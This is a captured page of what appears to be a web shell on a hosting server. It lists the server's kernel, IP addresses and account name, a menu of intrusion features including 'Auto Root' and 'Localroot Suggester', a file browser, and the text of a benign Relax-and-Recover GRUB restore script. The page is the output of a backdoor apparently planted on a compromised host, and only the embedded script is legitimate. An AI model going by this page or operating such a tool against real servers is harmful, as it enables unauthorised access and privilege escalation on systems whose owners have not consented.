Linux ih01.iridiumhosting.com 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
LiteSpeed
Server IP : 67.227.241.211 & Your IP : 216.73.217.87
Domains :
Cant Read [ /etc/named.conf ]
User : dustinhy
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
MXB /
rear /
usr /
share /
rear /
restore /
YUM /
default /
Delete
Unzip
Name
Size
Permission
Date
Action
100_mount_YUM_path.sh
140
B
-rw-r--r--
2026-04-01 09:39
400_restore_packages.sh
10.62
KB
-rw-r--r--
2026-04-01 09:39
403_binds_for_selinux.sh
772
B
-rw-r--r--
2026-04-01 09:39
405_recreate_users_and_groups.sh
5.05
KB
-rw-r--r--
2026-04-01 09:39
410_restore_backup.sh
17.24
KB
-rw-r--r--
2026-04-01 09:39
600_restore_selinux_contexts.sh
1.81
KB
-rw-r--r--
2026-04-01 09:39
940_generate_fstab.sh
5
KB
-rw-r--r--
2026-04-01 09:39
950_grub2_mkconfig.sh
2.17
KB
-rw-r--r--
2026-04-01 09:39
950_grub_mkconfig.sh
1.93
KB
-rw-r--r--
2026-04-01 09:39
970_set_root_password.sh
2.14
KB
-rw-r--r--
2026-04-01 09:39
980_initial_network_setup.sh
3.38
KB
-rw-r--r--
2026-04-01 09:39
980_umount_YUM_dir.sh
154
B
-rw-r--r--
2026-04-01 09:39
Save
Rename
# # restore/YUM/default/950_grub2_mkconfig.sh # 950_grub2_mkconfig is a finalisation script (see restore/readme) # that runs grub2-mkconfig in the target system # after the files have been restored into the target system # (i.e. so that GRUB2 is installed in the target system). # Running grub2-mkconfig is needed as prerequirement # for running grub2-install in finalize/Linux-i386/660_install_grub2.sh # otherwise there is no /boot/grub2/grub.cfg in the target system # and then finalize/Linux-i386/660_install_grub2.sh still "just works" # (i.e. it does not error out when there is no /boot/grub2/grub.cfg) # but the recreated system will not boot (stops at "grub>" bootloader prompt). # # If /usr/sbin/grub2-mkconfig does not exist on the target system, we cannot run it test -e $TARGET_FS_ROOT/usr/sbin/grub2-mkconfig || return # Try to care about possible errors # see https://github.com/rear/rear/wiki/Coding-Style set -e -u -o pipefail # Ensure /proc /sys /dev from the installation system are available in the target system # which are needed to run grub2-mkconfig in the target system. # FIXME: If a mount command fails proceed "bona fide" by assuming it is already mounted: mount -t proc none $TARGET_FS_ROOT/proc || true mount -t sysfs sys $TARGET_FS_ROOT/sys || true mount -o bind /dev $TARGET_FS_ROOT/dev || true # FIXME: This should not be needed here but work via finalize/SUSE_LINUX/i386/170_rebuild_initramfs.sh # Make initrd verbosely in the target system: #chroot $TARGET_FS_ROOT /sbin/mkinitrd -v # Run grub2-mkconfig in the target system. # A login shell in between is needed when shell scripts are called inside 'chroot' # cf. https://github.com/rear/rear/issues/862#issuecomment-282039428 # In particular grub2-mkconfig is a shell script that calls other shell scripts: run_in_chroot '/usr/sbin/grub2-mkconfig -o /boot/grub2/grub.cfg' # FIXME: This should not be needed here but work via finalize/Linux-i386/660_install_grub2.sh # Install bootloader in the target system: chroot $TARGET_FS_ROOT /usr/sbin/grub2-install --force /dev/sda # Restore the ReaR default bash flags and options (see usr/sbin/rear): apply_bash_flags_and_options_commands "$DEFAULT_BASH_FLAGS_AND_OPTIONS_COMMANDS"